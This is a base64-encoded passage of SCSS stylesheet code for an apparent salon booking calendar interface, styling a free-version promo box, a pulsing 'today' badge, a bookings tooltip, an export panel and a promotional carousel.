Y2VudGVyO1xuICBqdXN0aWZ5LWNvbnRlbnQ6IGNlbnRlcjtcbiAgd2lkdGg6IDEwMCU7XG4gIGJveC1zaXppbmc6IGJvcmRlci1ib3g7XG4gIG1hcmdpbjogMCAwIDAuODc1cmVtO1xuICBwYWRkaW5nOiAwLjc1cmVtIDFyZW07XG4gIGZvbnQtc2l6ZTogMC45Mzc1cmVtO1xuICBmb250LXdlaWdodDogNjAwO1xuICBsZXR0ZXItc3BhY2luZzogMC4wMmVtO1xuICB0ZXh0LXRyYW5zZm9ybTogbm9uZTtcbiAgdGV4dC1kZWNvcmF0aW9uOiBub25lO1xuICB3aGl0ZS1zcGFjZTogbm9ybWFsO1xuICB0ZXh0LWFsaWduOiBjZW50ZXI7XG4gIGxpbmUtaGVpZ2h0OiAxLjI1O1xuICBib3JkZXItcmFkaXVzOiAxMHB4O1xuICBiYWNrZ3JvdW5kLWNvbG9yOiAjMjk2NmEzO1xuICBjb2xvcjogI2ZmZjtcbiAgYm9yZGVyOiAwO1xuICB0cmFuc2l0aW9uOiBiYWNrZ3JvdW5kLWNvbG9yIDAuMTJzIGVhc2U7XG5cbiAgJjpob3ZlcixcbiAgJjpmb2N1cyB7XG4gICAgY29sb3I6ICNmZmY7XG4gICAgYmFja2dyb3VuZC1jb2xvcjogIzIzNTg5MjtcbiAgfVxuXG4gICY6YWN0aXZlIHtcbiAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjMWY1Mjg0O1xuICB9XG59XG5cbi8vIFBSTyBwcm9tbyBoYXMgbm8gZm9vdGVyIHJvdyDigJQgYXZvaWQgZXh0cmEgZ2FwIHVuZGVyIHRoZSBwcmltYXJ5IENUQS5cbi5zbG4tZnJlZS1wd2EtY2FsZW5kYXItcHJvbW86bm90KDpoYXMoLnNsbi1mcmVlLXB3YS1jYWxlbmRhci1wcm9tb19fYWN0aW9ucykpXG4gIC5zbG4tZnJlZS1wd2EtY2FsZW5kYXItcHJvbW9fX2N0YSB7XG4gIG1hcmdpbi1ib3R0b206IDA7XG59XG5cbi5zbG4tZnJlZS1wd2EtY2FsZW5kYXItcHJvbW8gLnNsbi1mcmVlLXB3YS1jYWxlbmRhci1wcm9tb19fYWN0aW9ucyB7XG4gIGRpc3BsYXk6IGZsZXg7XG4gIGZsZXgtd3JhcDogd3JhcDtcbiAgYWxpZ24taXRlbXM6IGNlbnRlcjtcbiAganVzdGlmeS1jb250ZW50OiBzcGFjZS1iZXR3ZWVuO1xuICBnYXA6IDAuNXJlbSAwLjc1cmVtO1xuICBtYXJnaW46IDA7XG4gIHBhZGRpbmctdG9wOiAwLjEyNXJlbTtcbiAgYm9yZGVyLXRvcDogMXB4IHNvbGlkIHJnYmEoMTQ4LCAxNjMsIDE4NCwgMC4zNSk7XG59XG5cbi5zbG4tZnJlZS1wd2EtY2FsZW5kYXItcHJvbW8gLnNsbi1mcmVlLXB3YS1jYWxlbmRhci1wcm9tb19fbm90LW5vdyB7XG4gIG1hcmdpbjogMDtcbiAgcGFkZGluZzogMC41cmVtIDA7XG4gIGZvbnQ6IGluaGVyaXQ7XG4gIGZvbnQtc2l6ZTogMC44NzVyZW07XG4gIGZvbnQtd2VpZ2h0OiA1MDA7XG4gIGNvbG9yOiAjNjQ3NDhiO1xuICBiYWNrZ3JvdW5kOiBub25lO1xuICBib3JkZXI6IDA7XG4gIGN1cnNvcjogcG9pbnRlcjtcbiAgdGV4dC1kZWNvcmF0aW9uOiB1bmRlcmxpbmU7XG4gIHRleHQtdW5kZXJsaW5lLW9mZnNldDogMnB4O1xuXG4gICY6aG92ZXIsXG4gICY6Zm9jdXMge1xuICAgIGNvbG9yOiAjMzM0MTU1O1xuICB9XG59XG5cbi5zbG4tZnJlZS1wd2EtY2FsZW5kYXItcHJvbW8gLnNsbi1mcmVlLXB3YS1jYWxlbmRhci1wcm9tb19fcHJvLWxpbmsge1xuICBtYXJnaW46IDA7XG4gIHBhZGRpbmc6IDAuNXJlbSAwO1xuICBmb250LXNpemU6IDAuODc1cmVtO1xuICBmb250LXdlaWdodDogNjAwO1xuICBjb2xvcjogIzIxNzFiMTtcbiAgdGV4dC1kZWNvcmF0aW9uOiBub25lO1xuXG4gICY6aG92ZXIsXG4gICY6Zm9jdXMge1xuICAgIHRleHQtZGVjb3JhdGlvbjogdW5kZXJsaW5lO1xuICAgIHRleHQtdW5kZXJsaW5lLW9mZnNldDogMnB4O1xuICB9XG59XG5cbi8vIC8vIFVTRSBNT0JJTEUgQVBQIFBPUFVQIC8vIC8vXG4uc2xuLWNhbGVuZGFyLS13cmFwcGVyICNjYWwtZGF5LWJveCAuZGF5LWhpZ2hsaWdodC5kYXktZXZlbnQuZGF5LWV2ZW50LS1iZHRvcCxcbi5kYXktZXZlbnQuZGF5LWV2ZW50LS1iZHRvcCB7XG4gIHBhZGRpbmctdG9wOiA2cHg7XG4gIHotaW5kZXg6IDI7XG4gICY6OmFmdGVyIHtcbiAgICBkaXNwbGF5OiBpbmxpbmUtYmxvY2s7XG4gICAgY29udGVudDogJyc7XG4gICAgcG9zaXRpb246IGFic29sdXRlO1xuICAgIHRvcDogMDtcbiAgICByaWdodDogMDtcbiAgICBsZWZ0OiAwO1xuICAgIG1hcmdpbi10b3A6IDA7XG4gICAgYm9yZGVyLXRvcDogMnB4IGRhc2hlZCB3aGl0ZTtcbiAgICBib3JkZXItdG9wLWNvbG9yOiB3aGl0ZTtcbiAgfVxufVxuXG4uc2Fsb25fcGFnZV9zYWxvbi1jYWxlbmRhciB7XG4gIC5zbG4tY2FsZW5kYXItLXdyYXBwZXIge1xuICAgIC5jYWwtZXZlbnQtbGlzdCB7XG4gICAgICB3aWR0aDogMjZyZW07XG4gICAgICBtYXgtd2lkdGg6IDI2cmVtO1xuICAgIH1cbiAgfVxufVxuXG4vLyAyMDI1LTA5LTIyXG4uc2xuLWNhbGVuZGFyLWV4cG9ydC13cmFwcGVyIHtcbiAgZGlzcGxheTogZmxleDtcbiAgZmxleC1kaXJlY3Rpb246IGNvbHVtbjtcbiAgZ2FwOiAxLjc1cmVtO1xuICBtYXgtd2lkdGg6IDYwcmVtO1xuICBtYXJnaW46IDIuOHJlbSBhdXRvO1xuICBwYWRkaW5nOiAxLjc1cmVtIDIuNXJlbTtcbiAgYm9yZGVyLXJhZGl1czogMjBweDtcbiAgYmFja2dyb3VuZC1jb2xvcjogYWRtaW5fY29uZmlnLiRjbF9kX2JnLS1saWdodC0yO1xuICAuc2xuLWNhbGVuZGFyLWV4cG9ydC13cmFwcGVyX190aXRsZSB7XG4gICAgZ3JpZC1jb2x1bW46IDEgLyBzcGFuIDI7XG4gICAgbWFyZ2luOiAwO1xuICAgIGZvbnQtd2VpZ2h0OiA1MDA7XG4gICAgY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfZF90ZXh0LS1kYXJrZXN0O1xuICB9XG4gIC5zbG4taW5wdXQtLXNpbXBsZTI1IHtcbiAgICBtYXJnaW4tYm90dG9tOiAwO1xuICB9XG4gIEBpbmNsdWRlIHNldHRpbmdzLW1peGlucy5icCh0YWJsZXQpIHtcbiAgICBkaXNwbGF5OiBncmlkO1xuICAgIGdyaWQtdGVtcGxhdGUtY29sdW1uczogMWZyIDFmcjtcbiAgfVxufVxuXG4vLyBUb2RheSBidXR0b24gYmFkZ2Ugc3R5bGVzXG5Aa2V5ZnJhbWVzIHNsbi1iYWRnZS1wdWxzZSB7XG4gIDAlIHtcbiAgICB0cmFuc2Zvcm06IHNjYWxlKDEpO1xuICB9XG4gIDUwJSB7XG4gICAgdHJhbnNmb3JtOiBzY2FsZSgxLjMpO1xuICB9XG4gIDEwMCUge1xuICAgIHRyYW5zZm9ybTogc2NhbGUoMSk7XG4gIH1cbn1cblxuLnNsbi10b2RheS1iYWRnZSB7XG4gIGRpc3BsYXk6IGlubGluZS1mbGV4O1xuICBhbGlnbi1pdGVtczogY2VudGVyO1xuICBqdXN0aWZ5LWNvbnRlbnQ6IGNlbnRlcjtcbiAgbWluLXdpZHRoOiAzMnB4O1xuICBoZWlnaHQ6IDMycHg7XG4gIHBhZGRpbmc6IDAgMTJweDtcbiAgbWFyZ2luOiAzcHggM3B4IDNweCAzMHB4O1xuICBiYWNrZ3JvdW5kLWNvbG9yOiAjRDhFMEU2O1xuICBjb2xvcjogIzIxNzFCMTtcbiAgZm9udC1zaXplOiAxOHB4O1xuICBmb250LXdlaWdodDogYm9sZDtcbiAgYm9yZGVyLXJhZGl1czogMTZweDtcbiAgbGluZS1oZWlnaHQ6IDE7XG4gIGN1cnNvcjogcG9pbnRlcjtcbiAgdHJhbnNpdGlvbjogYmFja2dyb3VuZC1jb2xvciAwLjJzIGVhc2U7XG4gIFxuICAmLnNsbi10b2RheS1iYWRnZS0tcHVsc2Uge1xuICAgIGFuaW1hdGlvbjogc2xuLWJhZGdlLXB1bHNlIDAuNXMgZWFzZS1pbi1vdXQ7XG4gIH1cbiAgXG4gICY6aG92ZXIge1xuICAgIGJhY2tncm91bmQtY29sb3I6ICNjNWQwZDg7XG4gIH1cbiAgXG4gIC8vIFB1bHNlIGFuaW1hdGlvbiB3aGVuIGNvdW50IHVwZGF0ZXNcbiAgJi0tcHVsc2Uge1xuICAgIGFuaW1hdGlvbjogc2xuLWJhZGdlLXB1bHNlIDAuNnMgZWFzZS1vdXQ7XG4gIH1cbn1cblxuLy8gS2V5ZnJhbWVzIGZvciBiYWRnZSBwdWxzZSBhbmltYXRpb25cbkBrZXlmcmFtZXMgc2xuLWJhZGdlLXB1bHNlIHtcbiAgMCUge1xuICAgIHRyYW5zZm9ybTogc2NhbGUoMSk7XG4gIH1cbiAgNTAlIHtcbiAgICB0cmFuc2Zvcm06IHNjYWxlKDEuMyk7XG4gIH1cbiAgMTAwJSB7XG4gICAgdHJhbnNmb3JtOiBzY2FsZSgxKTtcbiAgfVxufVxuXG4vLyBUb2RheSBidXR0b24gdG9vbHRpcCBzdHlsZXNcbi5zbG4tdG9kYXktdG9vbHRpcCB7XG4gIHBvc2l0aW9uOiBmaXhlZDtcbiAgei1pbmRleDogMTAwMDA7XG4gIGJhY2tncm91bmQtY29sb3I6ICNGMEYwRjE7XG4gIGJvcmRlcjogMXB4IHNvbGlkICNEOEUwRTY7XG4gIGJvcmRlci1yYWRpdXM6IDhweDtcbiAgYm94LXNoYWRvdzogMCA0cHggMTJweCByZ2JhKDAsIDAsIDAsIDAuMTUpO1xuICB3aWR0aDogMjZyZW07XG4gIG1pbi13aWR0aDogMjZyZW07XG4gIG1heC13aWR0aDogMjZyZW07XG4gIHBhZGRpbmc6IDE2cHg7XG4gIFxuICAvLyBBcnJvdyBmb3IgY2FsYmFyIHRvb2x0aXAgKGFwcGVhcnMgYWJvdmUgY2FsYmFyLCBwb2ludHMgZG93bilcbiAgJi5zbG4tY2FsYmFyLXRvb2x0aXAge1xuICAgICY6OmJlZm9yZSB7XG4gICAgICBjb250ZW50OiAnJyAhaW1wb3J0YW50O1xuICAgICAgcG9zaXRpb246IGFic29sdXRlICFpbXBvcnRhbnQ7XG4gICAgICBib3R0b206IC0xMHB4ICFpbXBvcnRhbnQ7XG4gICAgICB0b3A6IGF1dG8gIWltcG9ydGFudDtcbiAgICAgIGxlZnQ6IDUwJSAhaW1wb3J0YW50O1xuICAgICAgdHJhbnNmb3JtOiB0cmFuc2xhdGVYKC01MCUpICFpbXBvcnRhbnQ7XG4gICAgICB3aWR0aDogMCAhaW1wb3J0YW50O1xuICAgICAgaGVpZ2h0OiAwICFpbXBvcnRhbnQ7XG4gICAgICBib3JkZXItbGVmdDogMTBweCBzb2xpZCB0cmFuc3BhcmVudCAhaW1wb3J0YW50O1xuICAgICAgYm9yZGVyLXJpZ2h0OiAxMHB4IHNvbGlkIHRyYW5zcGFyZW50ICFpbXBvcnRhbnQ7XG4gICAgICBib3JkZXItdG9wOiAxMHB4IHNvbGlkICNEOEUwRTYgIWltcG9ydGFudDtcbiAgICAgIGJvcmRlci1ib3R0b206IG5vbmUgIWltcG9ydGFudDtcbiAgICAgIHotaW5kZXg6IDEgIWltcG9ydGFudDtcbiAgICB9XG4gICAgXG4gICAgJjo6YWZ0ZXIge1xuICAgICAgY29udGVudDogJycgIWltcG9ydGFudDtcbiAgICAgIHBvc2l0aW9uOiBhYnNvbHV0ZSAhaW1wb3J0YW50O1xuICAgICAgYm90dG9tOiAtOXB4ICFpbXBvcnRhbnQ7XG4gICAgICB0b3A6IGF1dG8gIWltcG9ydGFudDtcbiAgICAgIGxlZnQ6IDUwJSAhaW1wb3J0YW50O1xuICAgICAgdHJhbnNmb3JtOiB0cmFuc2xhdGVYKC01MCUpICFpbXBvcnRhbnQ7XG4gICAgICB3aWR0aDogMCAhaW1wb3J0YW50O1xuICAgICAgaGVpZ2h0OiAwICFpbXBvcnRhbnQ7XG4gICAgICBib3JkZXItbGVmdDogOXB4IHNvbGlkIHRyYW5zcGFyZW50ICFpbXBvcnRhbnQ7XG4gICAgICBib3JkZXItcmlnaHQ6IDlweCBzb2xpZCB0cmFuc3BhcmVudCAhaW1wb3J0YW50O1xuICAgICAgYm9yZGVyLXRvcDogOXB4IHNvbGlkICNGMEYwRjEgIWltcG9ydGFudDtcbiAgICAgIGJvcmRlci1ib3R0b206IG5vbmUgIWltcG9ydGFudDtcbiAgICAgIHotaW5kZXg6IDIgIWltcG9ydGFudDtcbiAgICB9XG4gIH1cbiAgXG4gICZfX3RpdGxlIHtcbiAgICBmb250LXNpemU6IDE3cHg7XG4gICAgZm9udC13ZWlnaHQ6IG5vcm1hbDtcbiAgICBjb2xvcjogIzIxNzFCMTtcbiAgICBtYXJnaW4tYm90dG9tOiAxMnB4O1xuICAgIHBhZGRpbmctYm90dG9tOiA4cHg7XG4gICAgYm9yZGVyLWJvdHRvbTogMXB4IHNvbGlkICNlOWVjZWY7XG4gIH1cbiAgXG4gICZfX2xpc3Qge1xuICAgIGxpc3Qtc3R5bGU6IG5vbmU7XG4gICAgbWFyZ2luOiAwO1xuICAgIHBhZGRpbmc6IDA7XG4gIH1cbiAgXG4gICZfX2l0ZW0ge1xuICAgIGRpc3BsYXk6IGZsZXg7XG4gICAgYWxpZ24taXRlbXM6IGNlbnRlcjtcbiAgICBqdXN0aWZ5LWNvbnRlbnQ6IHNwYWNlLWJldHdlZW47XG4gICAgcGFkZGluZzogMTJweCA4cHg7XG4gICAgYm9yZGVyLWJvdHRvbTogMXB4IHNvbGlkICNEOEUwRTY7XG4gICAgdHJhbnNpdGlvbjogYmFja2dyb3VuZC1jb2xvciAwLjJzIGVhc2U7XG4gICAgXG4gICAgJjpsYXN0LWNoaWxkIHtcbiAgICAgIGJvcmRlci1ib3R0b206IG5vbmU7XG4gICAgfVxuICAgIFxuICAgICY6aG92ZXIge1xuICAgICAgYmFja2dyb3VuZC1jb2xvcjogI0U4RTlFQTtcbiAgICAgIGJvcmRlci1yYWRpdXM6IDRweDtcbiAgICB9XG4gIH1cbiAgXG4gICZfX2N1c3RvbWVyIHtcbiAgICBmb250LXNpemU6IDE0cHg7XG4gICAgZm9udC13ZWlnaHQ6IDYwMDtcbiAgICBjb2xvcjogIzMzMztcbiAgICBmbGV4OiAxO1xuICAgIG1hcmdpbi1yaWdodDogMTJweDtcbiAgfVxuICBcbiAgJl9fdGltZSB7XG4gICAgZGlzcGxheTogZmxleDtcbiAgICBhbGlnbi1pdGVtczogY2VudGVyO1xuICAgIGdhcDogNHB4O1xuICAgIGZvbnQtc2l6ZTogMTNweDtcbiAgICBjb2xvcjogIzdEODg5MDtcbiAgICBtYXJnaW4tcmlnaHQ6IDEycHg7XG4gICAgd2hpdGUtc3BhY2U6IG5vd3JhcDtcbiAgICBcbiAgICAuc2xuLWljb24tLWNsb2NrIHtcbiAgICAgIGRpc3BsYXk6IGlubGluZS1mbGV4O1xuICAgICAgYWxpZ24taXRlbXM6IGNlbnRlcjtcbiAgICAgIGp1c3RpZnktY29udGVudDogY2VudGVyO1xuICAgICAgZm9udC1zaXplOiAxNHB4O1xuICAgICAgY29sb3I6ICM3RDg4OTA7XG4gICAgICB3aWR0aDogMTRweDtcbiAgICAgIGhlaWdodDogMTRweDtcbiAgICAgIGZsZXgtc2hyaW5rOiAwO1xuICAgICAgXG4gICAgICAmOjpiZWZvcmUge1xuICAgICAgICBmb250LWZhbWlseTogJ0ZvbnRBd2Vzb21lJztcbiAgICAgICAgY29udGVudDogJ1xcZjAxNyc7XG4gICAgICAgIGZvbnQtd2VpZ2h0OiA0MDA7XG4gICAgICAgIGZvbnQtc3R5bGU6IG5vcm1hbDtcbiAgICAgICAgbGluZS1oZWlnaHQ6IDE7XG4gICAgICB9XG4gICAgfVxuICB9XG4gIFxuICAmX19idXR0b24ge1xuICAgIGRpc3BsYXk6IGlubGluZS1ibG9jaztcbiAgICBiYWNrZ3JvdW5kLWNvbG9yOiB0cmFuc3BhcmVudDtcbiAgICBjb2xvcjogIzIxNzFCMSAhaW1wb3J0YW50O1xuICAgIGJvcmRlcjogMXB4IHNvbGlkICMyMTcxQjE7XG4gICAgYm9yZGVyLXJhZGl1czogMjBweDtcbiAgICBwYWRkaW5nOiA1cHggMTZweDtcbiAgICBmb250LXNpemU6IDEzcHg7XG4gICAgZm9udC13ZWlnaHQ6IDYwMDtcbiAgICBjdXJzb3I6IHBvaW50ZXI7XG4gICAgdHJhbnNpdGlvbjogYWxsIDAuMnMgZWFzZTtcbiAgICB3aGl0ZS1zcGFjZTogbm93cmFwO1xuICAgIHRleHQtZGVjb3JhdGlvbjogbm9uZTtcbiAgICBcbiAgICAmOmhvdmVyIHtcbiAgICAgIGJhY2tncm91bmQtY29sb3I6IHJnYmEoMzMsIDExMywgMTc3LCAwLjEpO1xuICAgICAgYm9yZGVyLWNvbG9yOiAjMWE1YThmO1xuICAgICAgY29sb3I6ICMxYTVhOGYgIWltcG9ydGFudDtcbiAgICAgIHRleHQtZGVjb3JhdGlvbjogbm9uZTtcbiAgICB9XG4gICAgXG4gICAgJjpmb2N1cyB7XG4gICAgICBvdXRsaW5lOiAycHggc29saWQgIzIxNzFCMTtcbiAgICAgIG91dGxpbmUtb2Zmc2V0OiAycHg7XG4gICAgfVxuICAgIFxuICAgICY6YWN0aXZlIHtcbiAgICAgIGJhY2tncm91bmQtY29sb3I6IHJnYmEoMzMsIDExMywgMTc3LCAwLjIpO1xuICAgICAgYm9yZGVyLWNvbG9yOiAjMTU0ODcyO1xuICAgICAgY29sb3I6ICMxNTQ4NzIgIWltcG9ydGFudDtcbiAgICB9XG4gIH1cbiAgXG4gIC8vIFwiU2VlIGFsbCBib29raW5nc1wiIGxpbmtcbiAgJl9fc2VlLWFsbCB7XG4gICAgZGlzcGxheTogYmxvY2s7XG4gICAgdGV4dC1hbGlnbjogY2VudGVyO1xuICAgIHBhZGRpbmc6IDEycHggMTZweDtcbiAgICBtYXJnaW46IDhweCAtMTZweCAtMTZweCAtMTZweDtcbiAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjZjhmOWZhO1xuICAgIGJvcmRlci1yYWRpdXM6IDAgMCA4cHggOHB4O1xuICAgIGNvbG9yOiAjMjE3MUIxICFpbXBvcnRhbnQ7XG4gICAgZm9udC1zaXplOiAxM3B4O1xuICAgIGZvbnQtd2VpZ2h0OiA2MDA7XG4gICAgdGV4dC1kZWNvcmF0aW9uOiBub25lO1xuICAgIGN1cnNvcjogcG9pbnRlcjtcbiAgICB0cmFuc2l0aW9uOiBhbGwgMC4ycyBlYXNlO1xuICAgIGJvcmRlci10b3A6IDFweCBzb2xpZCAjRDhFMEU2O1xuICAgIFxuICAgICY6aG92ZXIge1xuICAgICAgYmFja2dyb3VuZC1jb2xvcjogI2U5ZWNlZjtcbiAgICAgIGNvbG9yOiAjMWE1YThmICFpbXBvcnRhbnQ7XG4gICAgICB0ZXh0LWRlY29yYXRpb246IG5vbmU7XG4gICAgfVxuICAgIFxuICAgICY6YWN0aXZlIHtcbiAgICAgIGJhY2tncm91bmQtY29sb3I6ICNkZWUyZTY7XG4gICAgICBjb2xvcjogIzE1NDg3MiAhaW1wb3J0YW50O1xuICAgIH1cbiAgfVxuICBcbiAgLy8gQXJyb3cgcG9pbnRpbmcgdXAgdG8gdGhlIGJhZGdlXG4gICY6OmJlZm9yZSB7XG4gICAgY29udGVudDogJyc7XG4gICAgcG9zaXRpb246IGFic29sdXRlO1xuICAgIHRvcDogLThweDtcbiAgICBsZWZ0OiA1MCU7XG4gICAgdHJhbnNmb3JtOiB0cmFuc2xhdGVYKC01MCUpO1xuICAgIHdpZHRoOiAwO1xuICAgIGhlaWdodDogMDtcbiAgICBib3JkZXItbGVmdDogOHB4IHNvbGlkIHRyYW5zcGFyZW50O1xuICAgIGJvcmRlci1yaWdodDogOHB4IHNvbGlkIHRyYW5zcGFyZW50O1xuICAgIGJvcmRlci1ib3R0b206IDhweCBzb2xpZCAjZDhlMGU2O1xuICB9XG4gIFxuICAmOjphZnRlciB7XG4gICAgY29udGVudDogJyc7XG4gICAgcG9zaXRpb246IGFic29sdXRlO1xuICAgIHRvcDogLTdweDtcbiAgICBsZWZ0OiA1MCU7XG4gICAgdHJhbnNmb3JtOiB0cmFuc2xhdGVYKC01MCUpO1xuICAgIHdpZHRoOiAwO1xuICAgIGhlaWdodDogMDtcbiAgICBib3JkZXItbGVmdDogN3B4IHNvbGlkIHRyYW5zcGFyZW50O1xuICAgIGJvcmRlci1yaWdodDogN3B4IHNvbGlkIHRyYW5zcGFyZW50O1xuICAgIGJvcmRlci1ib3R0b206IDdweCBzb2xpZCAjRjBGMEYxO1xuICB9XG4gIFxuICAvLyBGUkVFIHZlcnNpb24gc3R5bGluZyAtIGRpc2FibGVkL211dGVkIGFwcGVhcmFuY2VcbiAgJi0tZnJlZSB7XG4gICAgLnNsbi10b2RheS10b29sdGlwX19jdXN0b21lcixcbiAgICAuc2xuLXRvZGF5LXRvb2x0aXBfX3RpbWUge1xuICAgICAgY29sb3I6ICM3RDg4OTA7XG4gICAgICBvcGFjaXR5OiAwLjY7XG4gICAgfVxuICAgIFxuICAgIC5zbG4tdG9kYXktdG9vbHRpcF9fYnV0dG9uIHtcbiAgICAgIGJhY2tncm91bmQtY29sb3I6IHRyYW5zcGFyZW50O1xuICAgICAgYm9yZGVyLWNvbG9yOiAjRDhFMEU2O1xuICAgICAgY29sb3I6ICM3RDg4OTAgIWltcG9ydGFudDtcbiAgICAgIGN1cnNvcjogbm90LWFsbG93ZWQ7XG4gICAgICBwb2ludGVyLWV2ZW50czogbm9uZTtcbiAgICAgIFxuICAgICAgJjpob3ZlciB7XG4gICAgICAgIGJhY2tncm91bmQtY29sb3I6IHRyYW5zcGFyZW50O1xuICAgICAgICBib3JkZXItY29sb3I6ICNEOEUwRTY7XG4gICAgICAgIGNvbG9yOiAjN0Q4ODkwICFpbXBvcnRhbnQ7XG4gICAgICB9XG4gICAgfVxuICAgIFxuICAgIC5zbG4taWNvbi0tY2xvY2sge1xuICAgICAgY29sb3I6ICM3RDg4OTA7XG4gICAgfVxuICB9XG4gIFxuICAgICAgLy8gQ1RBIGJhbm5lciBmb3IgRlJFRSB2ZXJzaW9uIChzaW1wbGUgY2xpY2thYmxlIGJhbm5lcilcbiAgICAgICZfX2N0YSB7XG4gICAgICAgIGRpc3BsYXk6IGZsZXg7XG4gICAgICAgIGFsaWduLWl0ZW1zOiBjZW50ZXI7XG4gICAgICAgIGp1c3RpZnktY29udGVudDogc3BhY2UtYmV0d2VlbjtcbiAgICAgICAgcGFkZGluZzogMTJweCAxNnB4O1xuICAgICAgICBtYXJnaW46IDhweCAtMTZweCAtMTZweCAtMTZweDtcbiAgICAgICAgYmFja2dyb3VuZDogI0JERDdFQztcbiAgICAgICAgYm9yZGVyLXJhZGl1czogMCAwIDhweCA4cHg7XG4gICAgICAgIHRyYW5zaXRpb246IGFsbCAwLjJzIGVhc2U7XG4gICAgICAgIGN1cnNvcjogcG9pbnRlcjtcblxuICAgICAgICAmOmhvdmVyIHtcbiAgICAgICAgICBiYWNrZ3JvdW5kOiAjYThjOWUwO1xuICAgICAgICB9XG4gICAgICB9XG4gIFxuICAmX19jdGEtdGV4dCB7XG4gICAgY29sb3I6ICMxYTRkNmI7XG4gICAgZm9udC1zaXplOiAxNHB4O1xuICAgIGxpbmUtaGVpZ2h0OiAxLjQ7XG4gICAgXG4gICAgJi0tc3Ryb25nIHtcbiAgICAgIGZvbnQtd2VpZ2h0OiBib2xkO1xuICAgICAgZm9udC1zaXplOiAxNnB4O1xuICAgICAgbWFyZ2luLXRvcDogMnB4O1xuICAgIH1cbiAgfVxuICBcbiAgLy8gQ3Jvd24gaWNvbiBpbWFnZVxuICAmX19jcm93bi1pY29uIHtcbiAgICB3aWR0aDogMzJweDtcbiAgICBoZWlnaHQ6IDMycHg7XG4gICAgZmxleC1zaHJpbms6IDA7XG4gICAgZGlzcGxheTogYmxvY2s7XG4gIH1cbn1cblxuLy8gPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09XG4vLyBDYWxlbmRhciBDYXJvdXNlbCAoRnJlZSBWZXJzaW9uIEJhbm5lciBSZXBsYWNlbWVudClcbi8vID09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PVxuLnNsbi1jYWxlbmRhci1jYXJvdXNlbCB7XG4gIGJhY2tncm91bmQ6IGxpbmVhci1ncmFkaWVudCgxNjdkZWcsICMyMTcxYjEgMCUsICMxYTVhOGYgMTAwJSk7XG4gIGJvcmRlci1yYWRpdXM6IDE0cHg7XG4gIGJveC1zaGFkb3c6IDAgNHB4IDE1cHggcmdiYSgzMywgMTEzLCAxNzcsIDAuMik7XG4gIHBhZGRpbmc6IDMycHg7XG4gIHBvc2l0aW9uOiByZWxhdGl2ZTtcbiAgb3ZlcmZsb3c6IGhpZGRlbjtcbiAgbWFyZ2luLWJvdHRvbTogMjBweDtcblxuICAmX19jbG9zZSB7XG4gICAgcG9zaXRpb246IGFic29sdXRlO1xuICAgIHRvcDogMjBweDtcbiAgICByaWdodDogMjBweDtcbiAgICBiYWNrZ3JvdW5kOiByZ2JhKDI1NSwgMjU1LCAyNTUsIDAuMSk7XG4gICAgYm9yZGVyOiBub25lO1xuICAgIGNvbG9yOiByZ2JhKDI1NSwgMjU1LCAyNTUsIDAuOSk7XG4gICAgY3Vyc29yOiBwb2ludGVyO1xuICAgIHBhZGRpbmc6IDA7XG4gICAgZGlzcGxheTogZmxleDtcbiAgICBhbGlnbi1pdGVtczogY2VudGVyO1xuICAgIGp1c3RpZnktY29udGVudDogY2VudGVyO1xuICAgIHdpZHRoOiAzMnB4O1xuICAgIGhlaWdodDogMzJweDtcbiAgICBib3JkZXItcmFkaXVzOiA2cHg7XG4gICAgdHJhbnNpdGlvbjogYmFja2dyb3VuZCAwLjJzO1xuICAgIHotaW5kZXg6IDEwO1xuXG4gICAgJjpob3ZlciB7XG4gICAgICBiYWNrZ3JvdW5kOiByZ2JhKDI1NSwgMjU1LCAyNTUsIDAuMik7XG4gICAgfVxuICB9XG5cbiAgJl9fdHJhY2sge1xuICAgIHBvc2l0aW9uOiByZWxhdGl2ZTtcbiAgICBtaW4taGVpZ2h0OiAyNDBweDtcbiAgfVxuXG4gICZfX3NsaWRlIHtcbiAgICBkaXNwbGF5OiBub25lO1xuICAgIG9wYWNpdHk6IDA7XG4gICAgdHJhbnNpdGlvbjogb3BhY2l0eSAwLjRzIGVhc2UtaW4tb3V0O1xuXG4gICAgJi0tYWN0aXZlIHtcbiAgICAgIGRpc3BsYXk6IGdyaWQ7XG4gICAgICAvLyBUd28gY2hpbGRyZW46IF9fY29udGVudCB0aGVuIF9faWxsdXN0cmF0aW9uIChubyBfX2ljb24gY29sdW1uIGluIG1hcmt1cClcbiAgICAgIGdyaWQtdGVtcGxhdGUtY29sdW1uczogbWlubWF4KDAsIDFmcikgYXV0bztcbiAgICAgIGdhcDogMjRweDtcbiAgICAgIGFsaWduLWl0ZW1zOiBjZW50ZXI7XG4gICAgICBvcGFjaXR5OiAxO1xuICAgICAgYW5pbWF0aW9uOiBmYWRlSW4gMC40cyBlYXNlLWluLW91dDtcbiAgICB9XG4gIH1cblxuICAmX19pbGx1c3RyYXRpb24ge1xuICAgIGZsZXgtc2hyaW5rOiAwO1xuICAgIGRpc3BsYXk6IGZsZXg7XG4gICAgYWxpZ24taXRlbXM6IGNlbnRlcjtcbiAgICBqdXN0aWZ5LWNvbnRlbnQ6IGNlbnRlcjtcblxuICAgIHN2ZyB7XG4gICAgICBkaXNwbGF5OiBibG9jaztcbiAgICAgIG1heC13aWR0aDogMTAwJTtcbiAgICAgIGhlaWdodDogYXV0bztcbiAgICB9XG4gIH1cblxuICAmX19pY29uIHtcbiAgICB3aWR0aDogNjRweDtcbiAgICBoZWlnaHQ6IDY0cHg7XG4gICAgYmFja2dyb3VuZDogcmdiYSgyNTUsIDI1NSwgMjU1LCAwLjE1KTtcbiAgICBib3JkZXI6IDFweCBzb2xpZCByZ2JhKDI1NSwgMjU1LCAyNTUsIDAuMjUpO1xuICAgIGJvcmRlci1yYWRpdXM6IDEycHg7XG4gICAgZGlzcGxheTogZmxleDtcbiAgICBhbGlnbi1pdGVtczogY2VudGVyO1xuICAgIGp1c3RpZnktY29udGVudDogY2VudGVyO1xuICAgIGNvbG9yOiAjZmZmO1xuICAgIGZsZXgtc2hyaW5rOiAwO1xuICB9XG5cbiAgJl9fY29udGVudCB7XG4gICAgZmxleDogMTtcbiAgICBtaW4td2lkdGg6IDA7XG4gIH1cblxuICAmX19oZWFkbGluZSB7XG4gICAgbWFyZ2luOiAwIDAgMTZweCAwO1xuICAgIGZvbnQtc2l6ZTogMjBweDtcbiAgICBmb25